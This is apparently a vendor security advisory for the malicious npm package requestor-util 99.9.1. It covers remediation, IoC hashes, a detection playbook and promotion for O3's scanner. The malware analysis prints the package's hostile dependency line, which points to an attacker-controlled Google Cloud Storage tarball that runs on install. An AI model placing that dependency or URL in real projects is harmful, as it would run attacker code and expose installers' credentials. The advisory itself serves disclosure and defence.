Which versions of requestor-util are malicious?

The following npm versions of requestor-util are flagged malicious: 99.9.1. Treat any of these as compromised.

How do I remediate requestor-util if I installed it?

Remove requestor-util from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed requestor-util — how do I know if it already compromised me?

If requestor-util was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is requestor-util part of a known attack campaign?

Yes — requestor-util is associated with the IN-MAL-2026-011259, GHSA-mchg-8mp7-q4m6 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find requestor-util across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for requestor-util (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging requestor-util across your stack and pipelines.

Malicious package

requestor-utilnpm

requestor-util is a confirmed malicious npm package (MAL-2026-10965) that executes malicious code on install (malicious version 99.9.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in requestor-util (npm)

MAL-2026-10965

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall requestor-util

What this malware does

[email protected] is a hollow wrapper (empty index.js, placeholder 99.9.1 version) whose only effect on install is to resolve a dependency declared as a direct tarball URL: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.6.tgz". npm install fetches whatever bytes currently live at that mutable Google Cloud Storage URL and executes any preinstall/install/postinstall lifecycle scripts contained in that tarball on the installer's machine. The URL is not on the npm registry (bypassing registry-side scanning) and is controlled by whoever owns the GCS bucket, who can swap the payload at any time without republishing the wrapper. The hollow-main + off-registry-tarball-dependency shape matches the dropper-lure pattern: the wrapper's function is to force resolution of an attacker-mutable external artifact into every installer's dependency tree.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'requestor-util' @ 99.9.1 (npm) as malicious.

It is considered malicious because:

The package communicates with a domain associated with malicious activity.

Malicious versions

1 flagged

99.9.1

Indicators of compromise (SHA-256)

6d4229671aa9a57f0ffbe61cd9ebe925c0874f55dd72d15f43adff096d0cf3f0

d8a60f357ab63e9818e450e4e4aec3dcf1b08d1242931ad5ad8468a460ee82ba

15c8a9688bf9c6b8fd7eb96252a2c1609a7d7ae8ec0e1792045b92641cbfc4a9

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for requestor-util (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging requestor-util across your stack and pipelines.
If you installed it — respond
Remove requestor-util from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If requestor-util was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks requestor-util before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. requestor-util on npm has been identified as a malicious package (version 99.9.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-011259GHSA-mchg-8mp7-q4m6

References

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks requestor-util-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database